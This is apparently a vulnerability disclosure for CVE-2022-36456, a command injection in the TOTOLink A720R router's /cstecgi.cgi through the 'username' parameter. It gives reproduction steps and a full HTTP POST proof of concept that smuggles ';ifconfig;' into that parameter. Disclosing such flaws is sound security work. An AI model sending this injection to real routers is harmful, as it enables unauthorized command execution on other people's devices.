Headline
CVE-2022-36456: vuln/TOTOLINK/A720R/1 at main · Darry-lang1/vuln
TOTOLink A720R V4.1.5cu.532_B20210610 was discovered to contain a command injection vulnerability via the username parameter in /cstecgi.cgi.
TOTOLink A720R V4.1.5cu.532_B20210610 Has an command injection vulnerability****Overview
- Manufacturer’s website information：https://www.totolink.net/
- Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=14&ids=36
Product Information
TOTOLink A720R V4.1.5cu.532_B20210610 router, the latest version of simulation overview：
Vulnerability details
TOTOLINK A720R was found to contain a command insertion vulnerability in cstecgi.This vulnerability allows an attacker to execute arbitrary commands through the “username” parameter.
We can see that the operating system will get “username” without filtering and inserting it into the strings “openvpn cert build_user” and "gz". Therefore, if we can control "username", it can be a command injection.
Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
Boot the firmware by qemu-system or other ways (real machine)
Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi?exportOvpn=&type=user&username=;ifconfig;&filetype=gz HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.0.1/login.html Content-Length: 0 Origin: http://192.168.0.1 DNT: 1 Connection: close Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Pragma: no-cache Cache-Control: no-cache
The above figure shows the POC attack effect